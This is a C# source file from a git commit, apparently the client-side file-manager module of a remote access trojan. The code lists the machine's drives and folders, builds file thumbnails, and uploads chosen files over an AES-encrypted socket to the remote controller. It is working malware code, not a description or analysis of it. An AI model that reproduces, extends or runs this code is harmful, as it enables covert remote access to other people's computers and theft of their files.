NYAN CAT 9f269b053d Update
fixed remote desktop
fixed server and client stabilty
minor bugs fixes
2019-04-29 19:35:44 -07:00

152 lines
5.7 KiB
C#

using Client.MessagePack;
using Client.Sockets;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.Net.Sockets;
namespace Client.Handle_Packet
{
class FileManager
{
public void GetDrivers()
{
DriveInfo[] allDrives = DriveInfo.GetDrives();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers";
StringBuilder sbDriver = new StringBuilder();
foreach (DriveInfo d in allDrives)
{
if (d.IsReady)
{
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
}
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
}
public void GetPath(string path)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath";
StringBuilder sbFolder = new StringBuilder();
StringBuilder sbFile = new StringBuilder();
foreach (string folder in Directory.GetDirectories(path))
{
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
}
foreach (string file in Directory.GetFiles(path))
{
using (MemoryStream ms = new MemoryStream())
{
GetIcon(file).Save(ms, ImageFormat.Png);
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
}
}
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
private Bitmap GetIcon(string file)
{
try
{
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
{
using (Image thumb = Image.FromFile(file).GetThumbnailImage(64, 64, () => false, IntPtr.Zero))
{
return new Bitmap(thumb);
}
}
Icon icon = Icon.ExtractAssociatedIcon(file);
Bitmap bmpIcon = icon.ToBitmap();
return bmpIcon;
}
catch
{
return new Bitmap(64, 64);
}
}
public void DownnloadFile(string file, string dwid)
{
try
{
Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
ReceiveTimeout = -1,
SendTimeout = -1,
};
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
msgpack.ForcePathObject("Command").AsString = "pre";
msgpack.ForcePathObject("DWID").AsString = dwid;
msgpack.ForcePathObject("File").AsString = file;
long Length = new FileInfo(file).Length;
msgpack.ForcePathObject("Size").AsString = Length.ToString();
ChunkSend(Settings.aes256.Encrypt(msgpack.Encode2Bytes()), Client);
MsgPack msgpack2 = new MsgPack();
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
msgpack2.ForcePathObject("Command").AsString = "save";
msgpack2.ForcePathObject("DWID").AsString = dwid;
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
ChunkSend(Settings.aes256.Encrypt(msgpack2.Encode2Bytes()), Client);
Client.Shutdown(SocketShutdown.Both);
Client.Close();
}
catch
{
return;
}
}
private void ChunkSend(byte[] msg, Socket client)
{
try
{
byte[] buffersize = BitConverter.GetBytes(msg.Length);
client.Poll(-1, SelectMode.SelectWrite);
client.Send(buffersize);
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
int SendPackage;
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SendPackage = client.Send(chunk);
} while (bytesToRead > 0);
binaryReader.Close();
}
}
catch
{
return;
}
}
}
}